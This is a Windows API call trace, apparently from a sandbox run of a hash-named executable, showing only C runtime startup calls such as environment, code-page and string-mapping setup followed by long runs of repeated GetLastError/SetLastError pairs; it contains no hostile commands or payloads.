[0045.033] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\" "
[0045.033] GetEnvironmentStringsW () returned 0x6c6c88*
[0045.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1351, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1351
[0045.035] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x547) returned 0x670fd0
[0045.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1351, lpMultiByteStr=0x670fd0, cbMultiByte=1351, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1351
[0045.066] FreeEnvironmentStringsW (penv=0x6c6c88) returned 1
[0045.066] GetLastError () returned 0xcb
[0045.066] SetLastError (dwErrCode=0xcb)
[0045.066] GetLastError () returned 0xcb
[0045.066] SetLastError (dwErrCode=0xcb)
[0045.068] GetLastError () returned 0xcb
[0045.068] SetLastError (dwErrCode=0xcb)
[0045.068] GetACP () returned 0x4e4
[0045.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x220) returned 0x671520
[0045.068] GetLastError () returned 0xcb
[0045.068] SetLastError (dwErrCode=0xcb)
[0045.068] IsValidCodePage (CodePage=0x4e4) returned 1
[0045.068] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19db18 | out: lpCPInfo=0x19db18) returned 1
[0045.068] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19d5e4 | out: lpCPInfo=0x19d5e4) returned 1
[0045.068] GetLastError () returned 0xcb
[0045.068] SetLastError (dwErrCode=0xcb)
[0045.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19d9f8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0045.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19d9f8, cbMultiByte=256, lpWideCharStr=0x19d368, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0045.069] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19d5f8 | out: lpCharType=0x19d5f8) returned 1
[0045.069] GetLastError () returned 0xcb
[0045.069] SetLastError (dwErrCode=0xcb)
[0045.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19d9f8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0045.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19d9f8, cbMultiByte=256, lpWideCharStr=0x19d328, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0045.069] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0045.069] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19d118, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
[0045.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19d8f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿcEÂO0Û\x19", lpUsedDefaultChar=0x0) returned 256
[0045.069] GetLastError () returned 0xcb
[0045.069] SetLastError (dwErrCode=0xcb)
[0045.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19d9f8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0045.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19d9f8, cbMultiByte=256, lpWideCharStr=0x19d348, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0045.069] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0045.069] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19d138, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
[0045.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19d7f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿcEÂO0Û\x19", lpUsedDefaultChar=0x0) returned 256
[0045.069] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x463f88, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe")) returned 0x62
[0045.071] GetLastError () returned 0x0
[0045.071] SetLastError (dwErrCode=0x0)
[0045.071] GetLastError () returned 0x0
[0045.071] SetLastError (dwErrCode=0x0)
[0045.071] GetLastError () returned 0x0
[0045.071] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.072] SetLastError (dwErrCode=0x0)
[0045.072] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.073] GetLastError () returned 0x0
[0045.073] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.074] SetLastError (dwErrCode=0x0)
[0045.074] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.075] SetLastError (dwErrCode=0x0)
[0045.075] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.076] GetLastError () returned 0x0
[0045.076] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.077] SetLastError (dwErrCode=0x0)
[0045.077] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.078] GetLastError () returned 0x0
[0045.078] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6b) returned 0x671748
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.079] SetLastError (dwErrCode=0x0)
[0045.079] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.080] GetLastError () returned 0x0
[0045.080] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
